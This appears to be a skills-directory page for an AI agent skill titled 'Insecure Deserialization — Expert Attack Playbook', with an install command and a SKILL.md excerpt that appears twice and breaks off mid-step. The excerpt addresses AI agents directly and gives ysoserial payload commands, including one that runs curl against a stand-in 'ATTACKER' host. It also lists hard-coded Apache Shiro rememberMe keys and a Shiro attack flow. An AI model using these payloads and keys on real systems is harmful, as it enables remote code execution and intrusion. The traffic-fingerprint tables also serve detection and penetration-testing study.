deserialization-insecure

Name: deserialization-insecure
Author: Prohao42

91stars8forks

How to install deserialization-insecure?

prohao42/aimy-skill/deserialization-insecure

$npx -y skills add Prohao42/aimy-skill --skill deserialization-insecure

Installs into the current project.

Summary

--- name: deserialization-insecure description: >- Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escal

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SKILL.md

1	# SKILL: Insecure Deserialization — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
4
5	## 0. RELATED ROUTING
6
7	- [jndi-injection](../jndi-injection/SKILL.md) when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
8	- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
9	- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when a WAF blocks your BCEL ClassLoader or Fastjson `@type` payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
10
11	### Advanced Reference
12
13	Also load [JAVA_GADGET_CHAINS.md](./JAVA_GADGET_CHAINS.md) when you need:
14	- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
15	- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
16	- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
17	- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
18	- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
19	- Detection fingerprints: magic bytes table by format (Java `AC ED`, .NET `AAEAAD`, Python pickle `80 0N`, PHP `O:`, Ruby `04 08`)
20
21	---
22
23	## 1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
24
25	### Java Serialized Objects
26
27	\| Indicator \| Where to Look \|
28	\|---\|---\|
29	\| Hex `ac ed 00 05` \| Raw binary in request/response body, cookies, POST params \|
30	\| Base64 `rO0AB` \| Cookies (`rememberMe`), hidden form fields, JWT claims \|
31	\| `Content-Type: application/x-java-serialized-object` \| HTTP headers \|
32	\| T3/IIOP protocol traffic \| WebLogic ports (7001, 7002) \|
33
34	### PHP Serialized Objects
35
36	\| Indicator \| Where to Look \|
37	\|---\|---\|
38	\| `O:NUMBER:"ClassName"` pattern \| POST body, cookies, session files \|
39	\| `a:NUMBER:{` (array) \| Same locations \|
40	\| `phar://` URI usage \| File operations accepting user-controlled paths \|
41
42	### Python Pickle
43
44	\| Indicator \| Where to Look \|
45	\|---\|---\|
46	\| Hex `80 03` or `80 04` (protocol 3/4) \| Binary data in requests, message queues \|
47	\| Base64-encoded binary blob \| API params, cookies, Redis values \|
48	\| `pickle.loads` / `pickle.load` in source \| Code review / whitebox \|
49
50	---
51
52	## 2. JAVA — GADGET CHAINS AND TOOLS
53
54	### ysoserial — Primary Tool
55
56	```bash
57	# Generate payload (example: CommonsCollections1 chain with command)
58	java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
59
60	# Base64-encode for HTTP transport
61	java -jar ysoserial.jar CommonsCollections1 "id" \| base64 -w0
62
63	# Common chains to try (ordered by frequency of vulnerable dependency):
64	# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
65	# Spring1, Spring2 — Spring Framework
66	# Groovy1 — Groovy
67	# Hibernate1 — Hibernate
68	# JBossInterceptors1 — JBoss
69	# Jdk7u21 — JDK 7u21 (no extra dependency)
70	# URLDNS — DNS-only confirmation (no RCE, works everywhere)
71	```
72
73	### URLDNS — Safe Confirmation Probe
74
75	URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
76
77	```bash
78	java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
79	```
80
81	DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
82
83	### Commons Collections — The Classic Chain
84
85	The vulnerability exists when `org.apache.commons.collections` (3.x) is on the classpath and the application calls `readObject()` on untrusted data.
86
87	Key classes in the chain: `InvokerTransformer` → `ChainedTransformer` → `TransformedMap` → triggers `Runtime.exec()` during deserialization.
88
89	### Apache Shiro — rememberMe Deserialization
90
91	Shiro uses AES-CBC to encrypt serialized Java objects in the `rememberMe` cookie.
92
93	```text
94	Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
95	kPH+bIxk5D2deZiIxcaaaA== # most common default
96	wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
97	4AvVhmFLUs0KTA3Kprsdag==
98	Z3VucwAAAAAAAAAAAAAAAA==
99	```
100
101	Attack flow:
102	1. Detect: response sets `rememberMe=deleteMe` cookie on invalid session
103	2. Generate

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Type

deserialization-insecure

91stars8forks

View on GitHub

How to install deserialization-insecure?

prohao42/aimy-skill/deserialization-insecure

$npx -y skills add Prohao42/aimy-skill --skill deserialization-insecure

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Insecure Deserialization — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
4
5	## 0. RELATED ROUTING
6
7	- [jndi-injection](../jndi-injection/SKILL.md) when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
8	- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
9	- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when a WAF blocks your BCEL ClassLoader or Fastjson `@type` payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
10
11	### Advanced Reference
12
13	Also load [JAVA_GADGET_CHAINS.md](./JAVA_GADGET_CHAINS.md) when you need:
14	- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
15	- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
16	- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
17	- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
18	- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
19	- Detection fingerprints: magic bytes table by format (Java `AC ED`, .NET `AAEAAD`, Python pickle `80 0N`, PHP `O:`, Ruby `04 08`)
20
21	---
22
23	## 1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
24
25	### Java Serialized Objects
26
27	\| Indicator \| Where to Look \|
28	\|---\|---\|
29	\| Hex `ac ed 00 05` \| Raw binary in request/response body, cookies, POST params \|
30	\| Base64 `rO0AB` \| Cookies (`rememberMe`), hidden form fields, JWT claims \|
31	\| `Content-Type: application/x-java-serialized-object` \| HTTP headers \|
32	\| T3/IIOP protocol traffic \| WebLogic ports (7001, 7002) \|
33
34	### PHP Serialized Objects
35
36	\| Indicator \| Where to Look \|
37	\|---\|---\|
38	\| `O:NUMBER:"ClassName"` pattern \| POST body, cookies, session files \|
39	\| `a:NUMBER:{` (array) \| Same locations \|
40	\| `phar://` URI usage \| File operations accepting user-controlled paths \|
41
42	### Python Pickle
43
44	\| Indicator \| Where to Look \|
45	\|---\|---\|
46	\| Hex `80 03` or `80 04` (protocol 3/4) \| Binary data in requests, message queues \|
47	\| Base64-encoded binary blob \| API params, cookies, Redis values \|
48	\| `pickle.loads` / `pickle.load` in source \| Code review / whitebox \|
49
50	---
51
52	## 2. JAVA — GADGET CHAINS AND TOOLS
53
54	### ysoserial — Primary Tool
55
56	```bash
57	# Generate payload (example: CommonsCollections1 chain with command)
58	java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
59
60	# Base64-encode for HTTP transport
61	java -jar ysoserial.jar CommonsCollections1 "id" \| base64 -w0
62
63	# Common chains to try (ordered by frequency of vulnerable dependency):
64	# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
65	# Spring1, Spring2 — Spring Framework
66	# Groovy1 — Groovy
67	# Hibernate1 — Hibernate
68	# JBossInterceptors1 — JBoss
69	# Jdk7u21 — JDK 7u21 (no extra dependency)
70	# URLDNS — DNS-only confirmation (no RCE, works everywhere)
71	```
72
73	### URLDNS — Safe Confirmation Probe
74
75	URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
76
77	```bash
78	java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
79	```
80
81	DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
82
83	### Commons Collections — The Classic Chain
84
85	The vulnerability exists when `org.apache.commons.collections` (3.x) is on the classpath and the application calls `readObject()` on untrusted data.
86
87	Key classes in the chain: `InvokerTransformer` → `ChainedTransformer` → `TransformedMap` → triggers `Runtime.exec()` during deserialization.
88
89	### Apache Shiro — rememberMe Deserialization
90
91	Shiro uses AES-CBC to encrypt serialized Java objects in the `rememberMe` cookie.
92
93	```text
94	Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
95	kPH+bIxk5D2deZiIxcaaaA== # most common default
96	wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
97	4AvVhmFLUs0KTA3Kprsdag==
98	Z3VucwAAAAAAAAAAAAAAAA==
99	```
100
101	Attack flow:
102	1. Detect: response sets `rememberMe=deleteMe` cookie on invalid session
103	2. Generate

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6 picks

Type